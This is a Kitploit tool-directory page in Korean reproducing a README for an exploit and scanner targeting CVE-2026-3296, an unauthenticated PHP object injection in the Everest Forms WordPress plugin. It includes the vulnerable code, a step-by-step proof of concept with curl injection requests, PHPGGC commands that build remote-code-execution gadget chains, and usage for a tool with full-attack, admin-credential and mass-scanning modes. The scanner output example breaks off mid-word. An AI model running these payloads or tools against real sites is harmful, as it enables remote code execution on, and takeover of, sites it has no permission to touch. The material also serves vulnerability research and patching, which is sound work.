Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3296 — CVE-2026-3296은 Everest Forms WordPress 플러그인의 CVSS 9.8 Critical 등급, 인증되지 않은 PHP Object Injection 취약점입니다. | Kitploit
도구/GitHubGitHub/xxconi/cve-2026-3296
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296은 Everest Forms WordPress 플러그인의 CVSS 9.8 Critical 등급, 인증되지 않은 PHP Object Injection 취약점입니다.

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-3296

CVE-2026-3296은 Everest Forms WordPress 플러그인에서 발생하는 CVSS 9.8 Critical 등급의 인증되지 않은 PHP 객체 주입(PHP Object Injection) 취약점입니다.

CVE-2026-3296 — Everest Forms PHP 객체 주입 스캐너

플러그인: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder 플러그인 슬러그: everest-forms CVE ID: CVE-2026-3296 CVSS 점수: 9.8 (Critical) CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 취약점 유형: 인증되지 않은 PHP 객체 주입 → RCE 영향을 받는 버전: <= 3.4.3 패치된 버전: 3.4.4 공개 날짜: 2026년 4월 7일 연구자: 0xsabre — Mobikwik / Wordfence


📌 취약점 정보

Everest Forms 플러그인은 관리자 패널에서 양식 입력 메타데이터를 표시할 때 PHP의 네이티브 unserialize() 함수를 allowed_classes 매개변수 없이 호출합니다.

인증되지 않은 공격자는 공개 양식 필드에 직렬화된 PHP 객체 페이로드를 삽입하여 이를 데이터베이스에 저장할 수 있습니다. 관리자 패널에서 항목이 조회되면 unserialize()가 트리거되고 환경에 존재하는 모든 POP gadget chain이 실행됩니다.


🔍 취약점 요약


⚙️ 기술 분석

2단계 공격 모델

root@kitploit:~
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)

1단계 — 주입: 페이로드 저장

양식 제출 Hook (class-evf-form-task.php, 75행)

root@kitploit:~
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
root@kitploit:~
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

샌니타이즈가 부족한 이유 (evf-core-functions.php, 4754행)

root@kitploit:~
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

이 페이로드는 sanitize_text_field() 이후에도 완전히 보존됩니다:

root@kitploit:~
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

추가 버그 — 조기 Return (4764행)

root@kitploit:~
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

데이터베이스 기록 (class-evf-form-task.php, 1326행)

root@kitploit:~
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

2단계 — 트리거: 안전하지 않은 역직렬화

취약한 코드 (html-admin-page-entries-view.php, 130–133행)

root@kitploit:~
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

안전한 래퍼가 존재하지만 사용되지 않음 (evf-core-functions.php, 5594행)

root@kitploit:~
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

Nonce는 왜 보호를 제공하지 못하나?

root@kitploit:~
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Nonce는 CSRF 보호를 제공할 뿐, 인증은 아닙니다. 공격자는 GET으로 양식 페이지를 열어 nonce를 읽은 다음 POST로 페이로드를 전송합니다.


🔴 전체 공격 체인

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 개념 증명 (수동)

⚠️ 면책 고지: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다.

사전 요구 조건:

  • Everest Forms <= 3.4.3 설치 및 활성화됨
  • 공개적으로 접근 가능한 양식 페이지
  • 관리자 패널 접근 권한 (트리거용)

1단계 — Form ID 및 Nonce 획득

root@kitploit:~
TARGET="https://target-site.example.com/contact/"

# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

2단계 — 무해한 테스트 페이로드 생성

root@kitploit:~
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

실제 환경에서는 PHPGGC로 POP chain을 생성하십시오:

root@kitploit:~
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

3단계 — 페이로드 주입

root@kitploit:~
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

예상 결과: 양식 성공 메시지 또는 리디렉션.


4단계 — 데이터베이스에서 확인 (WP-CLI)

root@kitploit:~
wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# O:8:"stdClass":2:{...} satırı görünmeli

5단계 — 관리자로 트리거

root@kitploit:~
https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

페이지가 로드되면 unserialize()가 실행됩니다.


6단계 — Gadget Chain 검증 (테스트 환경)

root@kitploit:~
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}
root@kitploit:~
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

🛠️ 자동 스캐너

설치

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 사용법

취약점 탐지 (무해한 페이로드)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan

주입만 수행 (1단계)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe

전체 공격 (1단계 + 2단계)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!

수동 Form ID + 사용자 정의 페이로드

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

OOB 콜백을 통한 탐지 (Burp Collaborator)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net

대량 스캔

root@kitploit:~
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt

프록시 사용 (Burp Suite)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ 매개변수

모드

모드설명
scan무해한 페이로드 주입 — 취약점 탐지
inject1단계만 수행 — 페이로드 저장
trigger2단계만 수행 — 관리자 로그인으로 트리거

일반 매개변수

양식 매개변수

페이로드 옵션

관리자 자격 증명

매개변수설명
--admin-user관리자 사용자 이름
--admin-pass관리자 비밀번호

💀 페이로드 유형

💡 PHPGGC로 실제 Chain 생성:

root@kitploit:~
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# Tüm mevcut chain'leri listele
phpggc -l

📊 스캐너 출력 상태


🖥️ 스캐너 출력 예시

root@kitploit:~
[*] Hedef         : http://hedef.com
[*] Mod           : full
[*] Payload Tipi  : probe
[*] Komut         : id
[*] Admin User    : admin

[→] http://hedef.com  Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com  Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com  Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com  Adım 4: Entry ID aranıyor...
[→] http://hedef.com  Adım 5: unser
도구 다운로드
필드값
CVE IDCVE-2026-3296
CVSS9.8 Critical
유형PHP Object Injection (Deserialization of Untrusted Data)
영향을 받는 버전<= 3.4.3
패치된 버전3.4.4
인증불필요 (주입), 관리자 (트리거)
CWECWE-502: Deserialization of Untrusted Data
full1단계 + 2단계 — 전체 공격
매개변수약어설명기본값
--url-u단일 대상 URL—
--list-l대상 목록 파일—
--threads-t스레드 수5
--output-o출력 파일poi_results.txt
--proxy—프록시 URL—
--force—플러그인 감지 실패 시에도 계속 진행False
매개변수설명기본값
--form-idCF7 양식 ID자동 감지
--form-url양식 페이지 URL자동 감지
--field-name대상 필드 이름자동 감지
--nonce양식 nonce 값자동 추출
--entry-id항목 ID (트리거 모드)자동 감지
매개변수설명기본값
--payload-type페이로드 유형probe
--custom-payload사용자 정의 직렬화 문자열—
--cmdRCE 명령id
--callback-urlOOB 콜백 URL—
유형설명용도
probe무해한 stdClass — 부작용 없음취약점 탐지
file_write파일 쓰기 (TestGadget)테스트 환경 검증
ssrfHTTP 콜백 — OOB 탐지Burp Collaborator
wp_rceWordPress POP chain 플레이스홀더PHPGGC로 생성
yoast_rceYoast SEO POP chain 플레이스홀더PHPGGC로 생성
monolog_rceMonolog POP chain 플레이스홀더PHPGGC로 생성
상태설명
★ PWNED역직렬화 트리거됨 + 페이로드 실행됨
★ VULN페이로드 주입됨 — 취약점 확인됨
~ TRIGGERED항목이 조회됨 — gadget chain 수동 확인
- INJ_FAIL주입 실패 (패치됨 / 양식 없음)
~ NO_FORMEverest Forms 양식을 찾을 수 없음
- NO_PLUGIN플러그인이 설치되지 않음
~ NO_CREDS관리자 자격 증명 누락
- ADM_FAIL관리자 로그인 실패
~ UNREACH대상에 연결할 수 없음